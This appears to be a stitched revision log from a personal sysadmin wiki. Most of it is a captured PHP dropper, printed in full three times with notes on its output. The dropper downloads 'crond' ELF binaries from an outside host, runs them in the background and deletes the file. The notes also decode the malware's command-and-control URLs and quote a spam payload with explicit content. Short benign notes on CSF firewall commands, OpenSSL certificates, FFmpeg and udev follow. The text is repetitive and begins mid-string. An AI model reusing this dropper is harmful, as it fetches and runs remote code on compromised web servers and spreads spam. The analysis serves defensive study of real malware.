DQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8';
$systemType = php_uname('s');
$xpsvt57 = php_uname('m');

echo '<shchzzz>';
for (;;) {
if (!function_exists('shell_exec')) {
echo '<err step=1 err=noshex data=>';
break;
}
if ($systemType !== 'Linux') {
echo '<err step=2 err=nolinux data='.$hafev1.'>';
break;
}
$targetFilename = 'crond';
$exploitUrl = "";

if (strlen(decbin(~0)) == 64) {
echo '<inf step=3 data=x64>';
$exploitUrl = $crondElf64;
} else {
echo '<inf step=3 data=x32>';
$exploitUrl = $crondElf32;
}

$exploitFilename = "";
if (!file_exists($targetFilename)) {
$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);

if ( $exploitFilename == FALSE) {
echo '<err step=4 err=downl data=>';
break;
} else {
echo '<inf step=4 data=downok>';
}
} else {
echo '<inf step=4 data=exists>';
}

chmod($exploitFilename, 0755);

$exploitCmd = $xdvsnExploitEnv.' ./'.$exploitFilename.' >/dev/null 2>/dev/null &';
$exploitResult = shell_exec($exploitCmd);

echo '<inf step=5 data=done data2='.$exploitResult.'>';
sleep(1);

unlink($exploitFilename);

break;
}

echo '</shchzzz>';
exit();

function getPasteFileContents($key, $url) {
$hackFileContents = "";
$fp = @fopen($url, 'rb');

if ($fp == FALSE) {
if (!function_exists('curl_init'))
return FALSE;

$curl = @curl_init();
@curl_setopt($curl, CURLOPT_URL, $url);
@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$hackFileContents = @curl_exec($curl);
@curl_close($curl);
} else {
while(!feof($fp))
$hackFileContents.= fread($fp, 1024 * 64);
fclose($fp);
}
return $hackFileContents;
}

function saveContentsToFile($key, $hackFilename, $hackFileContents) {
$fp = fopen($hackFilename, 'wb+');

if ($fp == FALSE) {
if (!function_exists('file_put_contents')) return FALSE;
if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;
} else {
$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));
fclose($fp);
if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;
}
return TRUE;
}

function saveUrlToFile($key, $url, $exploitFilename) {
$hackFileContents = getPasteFileContents($key, $url);

if ($hackFileContents == FALSE) return FALSE;

if (saveContentsToFile($key, .'/'.$exploitFilename, $hackFileContents) == FALSE) {
if (saveContentsToFile($key, '/tmp/'.$exploitFilename, $hackFileContents) == FALSE) {
return FALSE;
} else {
return '/tmp/'.$exploitFilename;
}
} else {
return .'/'.$exploitFilename;
}
return FALSE;
}

</syntaxhighlight>

The attacker will see the following outputs:

<syntaxhighlight lang="text">
<shchzzz>
<inf step=3 data=x64>
<inf step=4 data=downok>
<inf step=5 data=done data2=XXX>
</shchzzz>
</syntaxhighlight>

where XXX is the return code of the shell exec which attempts to run:

<syntaxhighlight lang="text">
XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond >/dev/null 2>/dev/null &
</syntaxhighlight>

The <code>XDVSN_SESSION_COOKIE</code> environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately.

The decoded value of the environment variable:
<syntaxhighlight lang="text">
<ps>10</ps><urh></urh><urp></urp><lt>500</lt><lc>100</lc><bs>20</bs><lu>http://sk.touchpadz.com/</lu><bu>http://bat.touchpadz.com/aa2.php</bu><su>http://stat.touchpadz.com/gj13.php</su><ldb>wb_001</ldb><kk>38b104796d9d02a8,5f19dd761b1ae067,182d9be35a58b5e,761257c7ae43552,1c691b2c387735ec,1a75779015fcde28,c5d6105468cd740,488810955cf90d0c,62c800293882f80f,1e6bff6b444e1b0d,63d257290658b998,2b00ef0f4a4f197d,f12c54e1957cd43,5365385a1a570922,4818e6565aba7eba,9d655855688d574,317620b4425d6470,16d58c031dde7a1,5f925640005cf66b,57362ca225acae0f,6bd7afc11d5420dd,7e39dddb0914d741,374032b557c1670f,5a5578712156b2b2,42ee16dd1d1f6b25,79b39ab87e732619,39cab5d02b66c9fa,695693fe330e805f,7d0e38ce30b3de2c,70bf755429b05946,78b559b14a13f306,63b8768e636fd96d,442bf7c122970484,68a9c97f62ec282d,7e4216bd24e354b3,48ce08564e85ad17,2a272aed717384df,5718c84f1c0728db,1a0b91e36d971d16,5bf70935377de764,2ae2b45809ae550d,14520f18175d3cba,6a3e24f715ed4c45,e2a92e80d130642,5c001f680c0e55ae,11b5a572ac847f8,42ed425f66a0cef2,4772e82748e7bebc,669b8fae6ef65ec8,70c9170722074810,c0c658a01de8eda,3a74ccd14a330cf8,5d98d57c5ce8318b,100d0dfa4910e1f7,736386400b035095,69fad7f5d37b1e4,73806131716d54da,40de30093b2401ca,38f1d4c10cc729c2,6786c7c141a4c6a6,28ee1f9b295d4fc1,2d1f5ec46686eea6,249e4a86142ef7d8,1791d1e8666c2414,45b5133a7301aa3c</kk>
</syntaxhighlight>

There are three URLs that the program will fetch data from.
# lu: http://sk.touchpadz.com/ + /img/logo.gif?sessd='''$ldb'''&sessc='''$lc'''&sessk='''$kk'''
# bu: http://bat.touchpadz.com/aa2.php
# su: http://stat.touchpadz.com/gj13.php

The <code>lu</code> URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format.

The <code>bu</code> URL will return the spam message payload, encoded with the base64+xor encoder.
<syntaxhighlight lang="text">
<USER>lula_burton</USER>
<NAME>"Lula Burton"</NAME>
<SUBJ>Fw: Hairy pussy girl undress panties</SUBJ>
<SBODY>
<div>
<p><a href="http://www.appgott.com/wp-content/plugins/better-wp-security/modules/free/backup/js/help.php?%MAIL_EN%">Hairy pussy girl undress panties</a></p>
combat, why none of us would be here. Thanks guys. Mission complete
</div>
</SBODY>
</syntaxhighlight>

The <code>su</code> URL will return the exploit URL that contains the PHP spammer.
<syntaxhighlight lang="text">
http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php
</syntaxhighlight>

PHP Shell Exploit

2015-05-05T06:04:49Z

10.1.1.3:

<syntaxhighlight lang="php">
<?php
$key="1)#'ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK>a;q0HD.&QRz~@,TM-l(5JSitk/]2bu=d\"I<BEXfv*+";

$crondElf32 ='http://pages.touchpadz.com/crond32';
$crondElf64 ='http://pages.touchpadz.com/crond64';
$xdvsnExploitEnv = 'XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8';
$systemType = php_uname('s');
$xpsvt57 = php_uname('m');

echo '<shchzzz>';
for (;;) {
if (!function_exists('shell_exec')) {
echo '<err step=1 err=noshex data=>';
break;
}
if ($systemType !== 'Linux') {
echo '<err step=2 err=nolinux data='.$hafev1.'>';
break;
}
$targetFilename = 'crond';
$exploitUrl = "";

if (strlen(decbin(~0)) == 64) {
echo '<inf step=3 data=x64>';
$exploitUrl = $crondElf64;
} else {
echo '<inf step=3 data=x32>';
$exploitUrl = $crondElf32;
}

$exploitFilename = "";
if (!file_exists($targetFilename)) {
$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);

if ( $exploitFilename == FALSE) {
echo '<err step=4 err=downl data=>';
break;
} else {
echo '<inf step=4 data=downok>';
}
} else {
echo '<inf step=4 data=exists>';
}

chmod($exploitFilename, 0755);

$exploitCmd = $xdvsnExploitEnv.' ./'.$exploitFilename.' >/dev/null 2>/dev/null &';
$exploitResult = shell_exec($exploitCmd);

echo '<inf step=5 data=done data2='.$exploitResult.'>';
sleep(1);

unlink($exploitFilename);

break;
}

echo '</shchzzz>';
exit();

function getPasteFileContents($key, $url) {
$hackFileContents = "";
$fp = @fopen($url, 'rb');

if ($fp == FALSE) {
if (!function_exists('curl_init'))
return FALSE;

$curl = @curl_init();
@curl_setopt($curl, CURLOPT_URL, $url);
@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$hackFileContents = @curl_exec($curl);
@curl_close($curl);
} else {
while(!feof($fp))
$hackFileContents.= fread($fp, 1024 * 64);
fclose($fp);
}
return $hackFileContents;
}

function saveContentsToFile($key, $hackFilename, $hackFileContents) {
$fp = fopen($hackFilename, 'wb+');

if ($fp == FALSE) {
if (!function_exists('file_put_contents')) return FALSE;
if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;
} else {
$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));
fclose($fp);
if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;
}
return TRUE;
}

function saveUrlToFile($key, $url, $exploitFilename) {
$hackFileContents = getPasteFileContents($key, $url);

if ($hackFileContents == FALSE) return FALSE;

if (saveContentsToFile($key, .'/'.$exploitFilename, $hackFileContents) == FALSE) {
if (saveContentsToFile($key, '/tmp/'.$exploitFilename, $hackFileContents) == FALSE) {
return FALSE;
} else {
return '/tmp/'.$exploitFilename;
}
} else {
return .'/'.$exploitFilename;
}
return FALSE;
}
<?php
$key="1)#'ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK>a;q0HD.&QRz~@,TM-l(5JSitk/]2bu=d\"I<BEXfv*+";

$crondElf32 ='http://pages.touchpadz.com/crond32';
$crondElf64 ='http://pages.touchpadz.com/crond64';
$xdvsnExploitEnv = 'XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8';
$systemType = php_uname('s');
$xpsvt57 = php_uname('m');

echo '<shchzzz>';
for (;;) {
if (!function_exists('shell_exec')) {
echo '<err step=1 err=noshex data=>';
break;
}
if ($systemType !== 'Linux') {
echo '<err step=2 err=nolinux data='.$hafev1.'>';
break;
}
$targetFilename = 'crond';
$exploitUrl = "";

if (strlen(decbin(~0)) == 64) {
echo '<inf step=3 data=x64>';
$exploitUrl = $crondElf64;
} else {
echo '<inf step=3 data=x32>';
$exploitUrl = $crondElf32;
}

$exploitFilename = "";
if (!file_exists($targetFilename)) {
$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);

if ( $exploitFilename == FALSE) {
echo '<err step=4 err=downl data=>';
break;
} else {
echo '<inf step=4 data=downok>';
}
} else {
echo '<inf step=4 data=exists>';
}

chmod($exploitFilename, 0755);

$exploitCmd = $xdvsnExploitEnv.' ./'.$exploitFilename.' >/dev/null 2>/dev/null &';
$exploitResult = shell_exec($exploitCmd);

echo '<inf step=5 data=done data2='.$exploitResult.'>';
sleep(1);

unlink($exploitFilename);

break;
}

echo '</shchzzz>';
exit();

function getPasteFileContents($key, $url) {
$hackFileContents = "";
$fp = @fopen($url, 'rb');

if ($fp == FALSE) {
if (!function_exists('curl_init'))
return FALSE;

$curl = @curl_init();
@curl_setopt($curl, CURLOPT_URL, $url);
@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$hackFileContents = @curl_exec($curl);
@curl_close($curl);
} else {
while(!feof($fp))
$hackFileContents.= fread($fp, 1024 * 64);
fclose($fp);
}
return $hackFileContents;
}

function saveContentsToFile($key, $hackFilename, $hackFileContents) {
$fp = fopen($hackFilename, 'wb+');

if ($fp == FALSE) {
if (!function_exists('file_put_contents')) return FALSE;
if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;
} else {
$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));
fclose($fp);
if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;
}
return TRUE;
}

function saveUrlToFile($key, $url, $exploitFilename) {
$hackFileContents = getPasteFileContents($key, $url);

if ($hackFileContents == FALSE) return FALSE;

if (saveContentsToFile($key, .'/'.$exploitFilename, $hackFileContents) == FALSE) {
if (saveContentsToFile($key, '/tmp/'.$exploitFilename, $hackFileContents) == FALSE) {
return FALSE;
} else {
return '/tmp/'.$exploitFilename;
}
} else {
return .'/'.$exploitFilename;
}
return FALSE;
}

</syntaxhighlight>

The attacker will see the following outputs:

<syntaxhighlight lang="text>
<shchzzz><inf step=3 data=x64><inf step=4 data=downok><inf step=5 data=done data2=XXX></shchzzz>
</syntaxhighlight>

where XXX is the return code of the shell exec which attempts to run:

<syntaxhighlight lang="text">
XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond >/dev/null 2>/dev/null &
</syntaxhighlight>

PHP Shell Exploit

2015-05-05T05:54:54Z

10.1.1.3: Created page with "<syntaxhighlight lang="php"> <?php $key="1)#'ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK>a;q0HD.&QRz~@,TM-l(5JSitk/]2bu=d\"I<BEXfv*+"; $crondElf32 ='http://pages..."

PHP Hacks

2015-05-05T05:11:26Z

10.1.1.3: /* How it is uploaded */

CSF/LFD

2015-04-26T09:47:26Z

10.1.1.3:

== Logging ==
CSF/LFD automatically logs to /var/log/lfd.log
tail /var/log/lfd.log

== Block / Unblock IP ==

csf -d <IP> : block IP
csf -a <IP> : allow IP
csf -dr <IP> : Deny removal
csf -ar <IP> : Allow removal

[[Category:Linux]]

CSF/LFD

2015-04-26T09:46:49Z

10.1.1.3: Created page with " == Block / Unblock IP == csf -d <IP> : block IP csf -a <IP> : allow IP csf -dr <IP> : Deny removal csf -ar <IP> : Allow removal Category:Linux"

== Block / Unblock IP ==

csf -d <IP> : block IP
csf -a <IP> : allow IP
csf -dr <IP> : Deny removal
csf -ar <IP> : Allow removal

[[Category:Linux]]

Self Signed SSL Certificates

2015-03-29T22:15:08Z

10.1.1.3: Created page with " cd ~ mkdir ssl openssl genrsa -des3 -out server.key 4096 openssl req -new -key server.key -out server.csr openssl x509 -req -days 365 -in server.csr -signkey server.key -out..."

cd ~
mkdir ssl
openssl genrsa -des3 -out server.key 4096
openssl req -new -key server.key -out server.csr
openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt
openssl rsa -in server.key -out server.key.insecure
mv server.key server.key.secure
mv server.key.insecure server.key

Step 3: Generating the key, use any pass phrase.
Step 4: Creating the certificate signing request
Step 5: Signing the certificate signing request
Step 6: Making a key that has no pass phrase

Note: Ensure that all keys are not readable to others. chmod 700 the ssl directory and chmod 600 all the keys.

openssl req -new -x509 -key www.example.com.key -out www.example.com.cert -days 3650 -subj /CN=www.example.com

FFmpeg

2015-03-29T19:23:48Z

10.1.1.3:

== Merging mp4 and m4a ==
Using <code>ffmpeg</code> you can combine the two together:
command: ffmpeg -i video.mp4 -i audio.m4a -acodec copy -vcodec copy output.mp4

== Issues ==
Copying DASH video (via <code>-vcodec copy</code>) using versions older than 0.10 will result in an empty file because it is unable to read the video contents.

[[Category:Linux]]
[[Category:LinuxUtilities]]
{{Navbox Linux}}

Udev Rules

2015-03-23T08:36:07Z

10.1.1.3:

== Creating New <code>udev</code> rules ==

Place new rules in <code>/etc/udev/rules.d</code>. The filename should be numbered.

If you are attempting to write a rule for a specific device, you should plug the device to your computer now and determine what the device path is. You must then list out all the udev properties of the device using the <code>udevadm</code> command.

For example, to create a udev rule for a USB Webcam at <code>/etc/video0</code>:
<syntaxhighlight lang="text">
# udevadm info -a -p `udevadm info -q path -n /dev/video0`

Udevadm info starts with the device specified by the devpath and then
walks up the chain of parent devices. It prints for every device
found, all possible attributes in the udev rules key format.
A rule to match, can be composed by the attributes of the device
and the attributes from one single parent device.

looking at device '/devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0/video4linux/video0':
KERNEL=="video0"
SUBSYSTEM=="video4linux"
DRIVER==""
ATTR{debug}=="0"
ATTR{index}=="0"

looking at parent device '/devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0':
KERNELS=="1-1.3:1.0"
SUBSYSTEMS=="usb"
DRIVERS=="uvcvideo"
ATTRS{bInterfaceClass}=="0e"
ATTRS{iad_bFunctionClass}=="0e"
ATTRS{iad_bFirstInterface}=="00"
ATTRS{bInterfaceSubClass}=="01"
ATTRS{bInterfaceProtocol}=="00"
ATTRS{bNumEndpoints}=="01"
ATTRS{iad_bFunctionSubClass}=="03"
